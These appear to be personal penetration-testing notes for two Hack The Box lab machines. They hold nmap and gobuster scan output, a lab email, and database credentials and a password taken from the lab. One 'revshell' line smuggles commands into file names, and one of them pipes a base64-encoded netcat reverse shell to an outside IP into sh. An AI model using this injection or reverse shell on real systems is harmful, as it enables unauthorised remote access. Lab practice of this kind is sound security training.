---
# System prepended metadata

title: Investigation

---

# Investigation 

IP : 10.10.11.197

## nmap

# Nmap 

```
7.93 scan initiated Sat Jan 28 19:58:02 2023 as: nmap -sCV -oN nmap 10.10.11.197
Nmap scan report for 10.10.11.197
Host is up (0.064s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 2f1e6306aa6ebbcc0d19d4152674c6d9 (RSA)
|   256 274520add2faa73a8373d97c79abf30b (ECDSA)
|_  256 4245eb916e21020617b2748bc5834fe0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://eforenzics.htb/
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## revshell
cp "curl 10.10.14.125 |" "echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjEyNSA0NDQ0ID4vdG1wL2Y= | base64 -d | sh |"

```
Date: Tue, 16 Sept 2022 00:30:29 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=16749431231.0853E5C.26622
Content-Transfer-Encoding: 7bit
Subject: Windows Event Logs for Analysis
From: Thomas Jones <thomas.jones@eforenzics.htb>
To: Steve Morton <steve.morton@eforenzics.htb>
Thread-Topic: Windows Event Logs for Analysis
Accept-Language: en-US
Content-Language: en-US


--16749431231.0853E5C.26622
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=16749431230.6a2F87a1E.26622
Content-Transfer-Encoding: 7bit


--16749431230.6a2F87a1E.26622
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Hi Steve,

Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures. 

Regards.
Tom

```


# broscience.htb
## NMAP
```
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-03 22:12 CET
Nmap scan report for broscience.htb (10.10.11.195)
Host is up (0.017s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## GOBUSTER


```
/.hta.html            (Status: 403) [Size: 280]
/.htaccess.html       (Status: 403) [Size: 280]
/.htpasswd.php        (Status: 403) [Size: 280]
/.hta                 (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/.htpasswd.html       (Status: 403) [Size: 280]
/.hta.php             (Status: 403) [Size: 280]
/.htaccess.php        (Status: 403) [Size: 280]
/.htpasswd            (Status: 403) [Size: 280]
/activate.php         (Status: 200) [Size: 1256]
/comment.php          (Status: 302) [Size: 13] [--> /login.php]
/images               (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/includes             (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/index.php            (Status: 200) [Size: 9305]                                      
/index.php            (Status: 200) [Size: 9305]                                      
/javascript           (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/login.php            (Status: 200) [Size: 1936]                                        
/logout.php           (Status: 302) [Size: 0] [--> /index.php]                          
/manual               (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]    
/register.php         (Status: 200) [Size: 2161]                                        
/server-status        (Status: 403) [Size: 280]                                         
/styles               (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]    
/user.php             (Status: 200) [Size: 1309]                                        
                                                   
```

$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

iluvhorsesandgym